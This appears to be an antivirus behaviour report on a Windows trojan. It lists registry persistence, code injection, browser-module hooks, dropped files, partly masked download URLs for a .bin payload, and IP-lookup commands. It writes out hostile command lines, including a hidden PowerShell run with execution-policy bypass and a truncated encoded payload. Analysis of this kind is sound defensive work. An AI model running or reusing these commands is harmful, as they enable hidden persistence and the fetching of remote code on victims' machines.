Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'apiMgIME' = 'rundll32 "%APPDATA%\Microsoft\Acle3d10\d3dx0_33.dll",DllRegisterServer'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -windowstyle hidden -noprofile -executionpolicy bypass -noprofile -e IwAjAHAAYwB3AGsAYgB3AG4AeQBoAAoAJABoAGQAcQBtAHMAdAAgAD0AIAAiAEMAeABNAEEAcQBtAGYASQBzACIAOwAKACQAYQB5AGcAYQBrAHoAdgB3...
Injects code into
the following system processes:
- <SYSTEM32>\rundll32.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- iexplore.exe process, urlmon.dll module
- firefox.exe process, wininet.dll module
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
- iexplore.exe process, advapi32.dll module
- firefox.exe process, advapi32.dll module
- firefox.exe process, urlmon.dll module
- iexplore.exe process, mshtml.dll module
Modifies file system
Creates the following files
- %HOMEPATH%\cxmaqmfis.bin
- mailslot\sl7fc
- %APPDATA%\microsoft\acle3d10\d3dx0_33.dll
- %TEMP%\20c9.bi1
- %TEMP%\215d.bi1
Deletes the following files
- %HOMEPATH%\cxmaqmfis.bin
- %TEMP%\20c9.bi1
- %TEMP%\215d.bi1
Network activity
Connects to
- 'li##tsno.at':80
TCP
HTTP GET requests
- http://li##tsno.at/aisdjfopidijncbfwodj.bin
- http://vi####atistic.at/images/TbGyQ_2B/2endYuRiuUh8jyb_2B3mGuj/_2FinPfh0T/k_2BTXbJrl0_2FlI9/qUp2B_2FaLTt/jUQ9cGSPHuQ/xKkeZUxO46Zgs2/zIIORa7iqejfNYTtYrwiu/Cs8Y9avBlS1iPsCP/69UCAI08egicslp/Ol0l3...
UDP
- DNS ASK li##tsno.at
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
- DNS ASK vi####atistic.at
Miscellaneous
Searches for the following windows
- ClassName: 'ProgMan' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -windowstyle hidden -noprofile -executionpolicy bypass -noprofile -e IwAjAHAAYwB3AGsAYgB3AG4AeQBoAAoAJABoAGQAcQBtAHMAdAAgAD0AIAAiAEMAeABNAEEAcQBtAGYASQBzACIAOwAKACQAYQB5AGcAYQBrAHoAdgB3...' (with hidden window)
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL /?' (with hidden window)
Executes the following
- '<SYSTEM32>\regsvr32.exe' /s %HOMEPATH%\CxMAqmfIs.bin
- '<SYSTEM32>\control.exe' /?
- '<SYSTEM32>\rundll32.exe' Shell32.dll,Control_RunDLL /?
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\215D.bi1"
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\20C9.bi1"
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\20C9.bi1"
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\215D.bi1"
